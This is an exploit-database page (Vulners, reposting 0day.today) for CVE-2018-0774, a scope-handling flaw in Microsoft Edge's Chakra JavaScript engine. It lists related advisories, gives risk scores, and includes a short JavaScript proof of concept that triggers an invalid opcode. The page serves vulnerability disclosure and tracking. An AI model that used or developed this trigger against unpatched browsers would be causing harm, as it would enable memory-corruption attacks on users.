Microsoft Edge Chakra - Incorrect Scope Handling Exploit
| Reporter | Title | Published | Views | Family All 42 |
|---|---|---|---|---|
 | ChakraCore Microsoft Edge RCE | 21 Feb 201800:00 | – | bdu_fstec |
 | CVE-2018-0774 | 17 Jan 201800:00 | – | circl |
 | Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2018-00510) | 5 Jan 201800:00 | – | cnvd |
 | Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0774) | 4 Jan 201800:00 | – | checkpoint_advisories |
 | CVE-2018-0774 | 4 Jan 201814:00 | – | cve |
 | CVE-2018-0774 | 4 Jan 201814:00 | – | cvelist |
 | Microsoft Edge Chakra - Incorrect Scope Handling | 17 Jan 201800:00 | – | exploitdb |
 | January 3, 2018—KB4056892 (OS Build 16299.192) | 9 Jan 201808:00 | – | mskb |
 | KLA11166 Multiple vunlerabilities in Microsoft Browsers | 3 Jan 201800:00 | – | kaspersky |
 | CVE-2018-0774 | 4 Jan 201814:00 | – | mend |
10
// PoC:
(function func(arg = function () {
print(func); // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
print(func);
function func() {
}
})();
// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.
# 0day.today [2018-04-09] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Jan 2018 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.6787